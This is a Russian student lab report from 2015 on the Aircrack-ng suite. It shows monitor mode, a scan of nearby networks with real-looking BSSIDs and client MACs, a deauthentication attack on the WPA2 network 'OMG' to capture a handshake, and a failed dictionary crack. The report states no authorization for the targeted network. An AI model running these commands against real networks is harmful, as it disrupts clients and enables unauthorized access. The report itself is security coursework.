Отчет по лабораторной работе №3 AirCrack

Дмитрий Баринов 4 июня 2015 г.

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Ход работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP

- 1. Airodump-ng программа предназначенная для захвата сырых пакетов протокола 802.11 и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последующим их использованием в aircrackng. Если к вашему компьютеру подсоединен GPS навигатор то airodumpng способен отмечать координаты точек на картах
- 2. Aireplay-ng Основная функция программы заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей.
- 3. Aircrack-ng Взламывает ключи WEP и WPA (Перебор по словарю).

Ввиду того, что данный компьютер является стационарным и не имеет wifi адаптера, данная работа выполнялась на ноутбуке соседа.

Запустить режим мониторинга на беспроводном интерфейсе

• Перевод wifi адаптера в режим монитора.

```
root@ak:/home/alex/dimas# airmon-ng
PHY
       Interface
                      Driver
                                    Chipset
phy0
                                    Atheros Communications Inc.
       wlan0
                      ath9k
    AR9485 Wireless Network Adapter (rev 01)
root@ak:/home/alex/dimas# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
 PID Name
2685 NetworkManager
2912 wpa_supplicant
8482 dhclient
PHY
       Interface
                      Driver
                                    Chipset
phy0
       wlan0
                      ath9k
                                    Atheros Communications Inc.
    AR9485 Wireless Network Adapter (rev 01)
               (mac80211 monitor mode vif enabled for [phy0]wlan0 on
                    [phy0]wlan0mon)
               (mac80211 station mode vif disabled for [phy0]wlan0)
```

• Прием всех пакетов - режим мониторинга

root@ak:/home/alex/dimas# airdump-ng wlan0mon
CH 8][Elapsed: 30 s][2015-06-04 02:15

BSSID ESSID	PWR	Beacons	#Data,	#/s	СН	MB EN	NC CIPHER	& AUT	Н
00:22:B0:4B:41:05	5 -44	97	0	0	2	54 . W	PA2 TKIP	PSK	
F8:1A:67:70:2F:F0	C -56	94	0	0	11	54e. W	PA2 CCMP	PSK	
C8:D3:A3:32:00:20	C -71	83	5	0	11	54e WI	PA2 CCMP	PSK	
C4:A8:1D:3D:A4:A9 549IdutNahui	73 -73	64	0	0	11	54e WI	PA2 CCMP	PSK	
E8:DE:27:C3:1B:74	1 -67	84	0	0	7	54e. W	PA2 CCMP	PSK	
CO:4A:00:AB:45:D4	1 -74	41	17	0	6	54e. W	PA2 CCMP	PSK	
CO:4A:00:6A:D9:BE	E -74	54	0	0	1	54e. W	PA2 CCMP	PSK	
room443 E8:94:F6:70:34:40	72	75	10	0	6	54e. W	PA2 CCMP	PSK	
449 C8:D7:19:F1:6F:2F	7-74	38	4	0	1	54e WI	PA2 CCMP	PSK	
548 CO:4A:00:B9:3F:78	3 -78	59	2	0	11	54e. W	PA2 CCMP	PSK	
TP E0:3F:49:8A:44:30	78	44	17	0	3	54e WI	PA2 CCMP	PSK	<
length: 7> CO:4A:00:BB:90:32	2 -77	37	0	0	1	54e. W	PA2 CCMP	PSK	
CHEESE C8:D7:19:F1:6F:30	75	37	0	0	1	54e OF	ьИ		
548-guest 14:D6:4D:B4:EB:8	A -77	42	1	0	1	54e. W	EP WEP		
542 10:FE:ED:79:3E:9E	E -80	35	0	0	1	54e. W	PA2 CCMP	PSK	
351 14:D6:4D:83:AD:CA	N -80	4	0	0	6	54e. W	PA2 CCMP	PSK	
Blackhole F8:1A:67:61:98:94	1 -86	13	1	0	10	54e. W	PA2 CCMP	PSK	
We will drink F0:7D:68:40:00:B8	k for	ever	0	0	6		PA2 CCMP	PSK	4
Best C0:4A:00:9C:3F:2F		2	5	0	6		PA2 CCMP		-
TP-LINK_9C3F	2E	_	_	-					M
28:10:7B:EF:25:11			0	0	3		PA2 CCMP		
F2:B2:DC:5C:AD:F0 length: 0>			0	0	8	54e WI	PA2 CCMP	PSK	<
CO:4A:00:A2:30:DA 348	l -83	17	2	0	6	54e. W	PA2 CCMP	PSK	
BO:38:29:14:FC:A5	-84	13	3	0	1	54e. W	PA2 CCMP	PSK	
CO:4A:00:BA:79:50	-88	12	0	0	6	54e. W	PA2 CCMP	PSK	

444									
CO:4A:00:B4:1E:E	8 -87	7	3	0	5	54e.	WPA2	CCMP	PSK
Master									
40:4A:03:56:FE:9	4 -88	1	1	0	13	54	WPA2	CCMP	PSK
sasai lalka		_	_	_	_			~ ~	
F0:7D:68:3E:C1:6		2	0	0	6	54	WPA2	CCMP	PSK
malina-mamma		6	^	0	9	54e	UDAO	COMP	DOM
F8:C0:91:11:6C:8	A -09	О	0	U	9	54e	WPA2	COMP	PSK
CO:4A:00:B2:09:C	2 _80	3	0	0	6	540	WPA2	ССМБ	PSK
Pandemonium	2 00	Ü	Ü	Ü	Ü	010.	WI MZ	OOM	1 DIL
2C:AB:25:2A:F2:9	9 -89	7	0	0	1	54e	WPA2	CCMP	PSK
BORBA									
54:E6:FC:F4:6C:A	E -89	4	0	0	8	54e.	WP A2	CCMP	PSK
iA_R_T									
00:26:F2:8C:22:6	0 -90	2	0	0	1	54 .	WPA2	CCMP	PSK
534room									
E8:DE:27:E5:40:B	0 -92	2	0	0	6	54e.	WP A2	CCMP	PSK
BELKA1									
	~=.==			_		_	_		
BSSID	STATION		PWR	Rat	te	Los	t F	rames	Probe
(not associated)	00.50.61	• 42 • D.C • C1	16	Λ	- 1		0	1	
(not associated)					- 1		0	42	
NormPacany, O			-00	Ü			U	72	
norm doding, o	114								
(not associated)	9C:2A:70	:1A:EE:37	-59	0	- 1		0	10	
(not associated)	9C:2A:70	:1A:EE:37	-59	0	- 1		-	10 E:70:	41
						B8:EE	-		41
<pre>(not associated) (not associated) room_322</pre>]	B8:EE	:65:9	9E:70:	41
(not associated)	CC: AF: 78	:72:3C:E9	-78	0]	B8:EE	:65:9	9E:70:	41
(not associated)	CC:AF:78	:72:3C:E9 :65:1B:B3	-78 -79	0	- 1	B8:EE	0 0	9E:70:	41
(not associated) room_322 (not associated)	CC: AF: 78 74:E5:43 OC:8B:FD	:72:3C:E9 :65:1B:B3 :4B:C3:FA	-78 -79 -87	0 0 0	- 1 - 1	B8:EF	0 0	9E:70:	
(not associated) room_322 (not associated) (not associated)	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A	-78 -79 -87 -90	0 0 0	- 1 - 1 - 1	B8:EF	0 0 0	DE: 70:	41 Oleg
(not associated) room_322 (not associated) (not associated) (not associated)	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08 C 00:1D:0	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:0F:C	-78 -79 -87 -90 1 -59	0 0 0 0	- 1 - 1 - 1 - 1	B8:EE	0 0 0 0	9E:70:-3 3 1 1	
(not associated) room_322 (not associated) (not associated) (not associated) (not associated) C8:D3:A3:32:00:2	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C B:81:97:B	-78 -79 -87 -90 1 -59 C -80	0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0	9E:70:-3 3 1 1 1	
(not associated) room_322 (not associated) (not associated) (not associated) C8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51 4 40:F0:21	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:0F:C 3:81:97:B F:EC:08:7	-78 -79 -87 -90 1 -59 C -80 1 -76	0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0 0 0	DE: 70:	
(not associated) room_322 (not associated) (not associated) (not associated) C8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08 C 00:1D:0 9 5C:0A:51 4 40:F0:21 4 28:E3:4	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B	-78 -79 -87 -90 1 -59 C -80 1 -76	0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 0	B8:EF	0 0 0 0 0 0 0	DE: 70:-	
(not associated) room_322 (not associated) (not associated) (not associated) C8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D	CC: AF: 78 74: E5: 43 0C: 8B: FD 60: 03: 08 C 00: 1D: 0' 9 5C: 0A: 51 4 40: F0: 21 4 28: E3: 4' E 74: 2F: 66	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:0F:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75	0 0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0 0 0 0	9E:70:	
(not associated) room_322 (not associated) (not associated) (not associated) C8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B	CC: AF: 78 74:E5: 43 0C: 8B: FD 60: 03: 08 C 00: 1D: 0' 9 5C: 0A: 51 4 40: F0: 21 4 28: E3: 4' E 74: 2F: 66 0 70: 72: 01	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 8:F8:6D:7	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59	0 0 0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0 0 0 0 0	9E:70:	
(not associated) room_322 (not associated) (not associated) (not associated) C8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B E8:94:F6:70:34:4	CC: AF: 78 74:E5: 43 0C: 8B: FD 60: 03: 08 C 00: 1D: 0' 9 5C: 0A: 51 4 40: F0: 21 4 28: E3: 4' E 74: 2F: 66 0 70: 72: 01 0 D0: DF: 92	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 0:66:9B:3 A:D9:BD:1	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73	0 0 0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 1 1 1 7 12	Oleg
(not associated) room_322 (not associated) (not associated) (not associated) (8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B E8:94:F6:70:34:4 E8:94:F6:70:34:4	CC: AF: 78 74:E5: 43 0C: 8B: FD 60: 03: 08 C 00: 1D: 0' 9 5C: 0A: 51 4 40: F0: 21 4 28: E3: 4' E 74: 2F: 66 0 70: 72: 01 0 D0: DF: 9. 0 68: 17: 29	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 D:66:9B:3 A:D9:BD:1 9:FD:66:9	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68	0 0 0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	B8:EF	0 0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 1 15 11 7 12 12	Oleg
(not associated) room_322 (not associated) (not associated) (not associated) (8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B E8:94:F6:70:34:4 E8:94:F6:70:34:4	CC:AF:78 74:E5:43 0C:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51 4 40:F0:21 4 28:E3:4' E 74:2F:63 0 70:72:01 0 D0:DF:9. 0 68:17:29 A AC:9E:1'	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:0F:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 0:66:9B:3 A:D9:BD:1 9:FD:66:9	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80	0 0 0 0 0 0 0 0 0	- 1 1 - 1 1	B8:EF e e	0 0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 15 11 7 12 12 12	Oleg
(not associated) room_322 (not associated) (not associated) (not associated) (8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B E8:94:F6:70:34:4 E8:94:F6:70:34:4 E0:3F:49:8A:44:3 14:D6:4D:B4:EB:8	CC:AF:78 74:E5:43 OC:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51 4 40:F0:21 4 28:E3:4' E 74:2F:66 0 70:72:01 0 D0:DF:90 0 68:17:29 A AC:9E:1' E AC:38:70	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C B:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 0:66:9B:3 A:D9:BD:1 9:FD:66:9 7:2B:6B:0 0:9B:D8:7	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80 5 -87	0 0 0 0 0 0 0 0 0	- 1 1 - 1 1	B8:EF e e	0 0 0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 15 11 7 12 12 12 1	Oleg
(not associated) room_322 (not associated) (not associated) (not associated) (8:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:6A:D9:B E8:94:F6:70:34:4 E8:94:F6:70:34:4 E0:3F:49:8A:44:3 14:D6:4D:B4:EB:8 C0:4A:00:9C:3F:2	CC:AF:78 74:E5:43 OC:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51 4 40:F0:21 4 28:E3:4' E 74:2F:66 O 70:72:01 O D0:DF:90 O 68:17:29 A AC:98:1' E AC:38:7' E 80:56:F:	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C B:81:97:B F:EC:08:7 7:63:6A:B B:F8:6D:7 D:66:9B:3 A:D9:BD:1 9:FD:66:9 7:2B:6B:0 O:9B:D8:7 2:DD:9E:C	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80 5 -87 7 -1	0 0 0 0 0 0 0 0 0 0 0	- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	e e e	0 0 0 0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 15 11 7 12 12 1 2 1	Oleg
(not associated) room_322 (not associated) (not associated) (not associated) (28:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D	CC:AF:78 74:E5:43 OC:8B:FD 60:03:08 C 00:1D:0 9 5C:0A:51 4 40:F0:21 4 28:E3:4 E 74:2F:66 O 70:72:01 O D0:DF:9 O 68:17:29 A AC:9E:1 E AC:38:70 E 80:56:F:5 5 9C:B7:01	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 D:66:9B:3 A:D9:BD:1 9:FD:66:9 7:2B:6B:0 D:9B:D8:7 2:DD:9E:C D:62:85:F	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80 5 -87 7 -1		- 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	e e e	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	DE: 70: 3 1 1 1 1 1 15 11 7 12 12 1 2 1 3	01eg 449
(not associated) room_322 (not associated) (not associated) (not associated) (28:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:4A:00:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:AB:45:D C0:AB:40:40:40:40:40:40:40:40:40:40:40:40:40:	CC:AF:78 74:E5:43 OC:8B:FD 60:03:08 C 00:1D:0 9 5C:0A:51 4 40:F0:21 4 28:E3:4 E 74:2F:66 O 70:72:01 O D0:DF:9 O 68:17:29 A AC:9E:1 E AC:38:70 E 80:56:F: 5 9C:B7:01 8 00:1D:0	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 3:F8:6D:7 D:66:9B:3 A:D9:BD:1 9:FD:66:9 7:2B:6B:0 D:9B:D8:7 2:DD:9E:C D:62:85:F 7:E6:23:0	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80 5 -87 7 -1 9 -71 4 -88	0 0 0 0 0 0 0 0 0 0 0 0 0	- 1 1 - 1 1	e e e	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	PE:70: 3 1 1 1 1 1 15 11 7 12 12 1 2 1 3 4	01eg 449
(not associated) room_322 (not associated) (not associated) (not associated) (28:D3:A3:32:00:2 C4:A8:1D:3D:A4:A C0:4A:00:AB:45:D C0:4A:00:AB:45:B C0:4A:00:AB:45:B C0:4A:00:AB:45:B C0:4A:00:B4:1E:E	CC:AF:78 74:E5:43 OC:8B:FD 60:03:08 C 00:1D:0' 9 5C:0A:51 4 40:F0:21 4 28:E3:4' E 74:2F:66 0 70:72:01 0 D0:DF:90 0 68:17:29 A AC:9E:1' E AC:38:70 E 80:56:F: 5 9C:B7:01 8 00:1D:0' 4 E8:03:9	:72:3C:E9 :65:1B:B3 :4B:C3:FA :8F:C6:6A 7:D9:OF:C 3:81:97:B F:EC:08:7 7:63:6A:B 8:F8:6D:7 D:66:9B:3 A:D9:BD:1 9:FD:66:9 7:2B:6B:0 0:9B:D8:7 2:DD:9E:C 0:62:85:F 7:E6:23:0 A:CD:09:6	-78 -79 -87 -90 1 -59 C -80 1 -76 1 -78 E -75 2 -59 6 -73 6 -68 3 -80 5 -87 7 -1 9 -71 4 -88 C -85	0 0 0 0 0 0 0 0 0 0 0 0 0 0	- 1 1 - 1 1	e e e	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	PE:70: 3 1 1 1 1 1 15 11 7 12 12 1 2 1 3 4 1	01eg 449

Видим сеть с алгоритмом WEP - удачная цель для атаки. Однако, в данной сети нет ни одной станции, следовательно, атака невозможна. Посему проведем атаку на сеть "ОМС". Она зашифрована WPA2, следовательно, вероятность успеха крайне мала. Но мы в данной работе преследуем цель научиться, а не взломать.

```
root@ak:/home/alex/dimas# airodump-ng wlan0mon --write airdump --
    bssid 00:22:B0:4B:41:05 -c 2
CH 2 ] [ Elapsed: 48 s ] [ 2015-06-04 02:22 ] [
BSSID
                 PWR RXQ Beacons
                                   #Data, #/s CH MB ENC CIPHER
     AUTH ESSID
00:22:B0:4B:41:05 -43 100
                                           8 2 54 . WPA2 TKIP
                             486
                                    1527
    PSK OMG
BSSID
                                   PWR Rate
                 STATION
                                              Lost
                                                      Frames Probe
00:22:B0:4B:41:05 98:0D:2E:AC:F8:04 -50 54 -36
00:22:B0:4B:41:05 84:8E:DF:54:DE:D5 -39 54 - 6 1754
                                                         957 OMG
Видим устройство, подключенное к сети. Начинаем пытаться деаутен-
тифицировать данное устройство, чтобы получить hand-shake.
root@ak:/home/alex/dimas# aireplay-ng --ignore-negative-one --
    deauth 100 -a 00:22:B0:4B:41:05 -h 84:8E:DF:54:DE:D5 wlan0mon
The interface MAC (44:6D:57:7E:EF:E2) doesn't match the specified
       ifconfig wlan0mon hw ether 84:8E:DF:54:DE:D5
02:25:10 Waiting for beacon frame (BSSID: 00:22:B0:4B:41:05) on
    channel 2
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
02:25:10 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:11 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:11 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:12 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:12 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
Паралельно слушая данную сеть:
root@ak:/home/alex/dimas# airodump-ng wlan0mon --write airdump --
    bssid 00:22:B0:4B:41:05 -c 2
CH 2 ] [ Elapsed: 48 s ] [ 2015-06-04 02:22 ] [ WPA handshake: 00:22:
     B0:4B:41:05
И вот, мы получили handshake. Запускаем подбор(не надеясь на поло-
жительный результат):
root@kali:/home/alex/dimas# aircrack-ng /home/airdump-04.cap -w /
    home/dictionary.dic
Opening /home/airdump-04.cap
Read 3839 packets.
```

• Начинаем сбор траффика для данной сети:

Encryption

ESSID

BSSID

1 00:22:B0:4B:41:05 OMG

WPA (1 handshake)

Choosing first network as target.

Opening /home/airdump-04.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc1

Passphrase not in dictionary

1

Quitting aircrack-ng...

Увы, так и есть. Подбор пароля для WPA2 для данной работы "is out of scope".

3 Выводы

В ходе данной работы были изучены основные возможности пакеты Air Crack и принципы взлома WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake осуществлять взлом пароля сети. Следует отметить, что пароли, отвечающие требованиям не представляется возможном взломать, так как единственный возможный вариант - это перебор паролей. Таким образом, нельзя сказать, что протокол WPA уязвим на данный момент.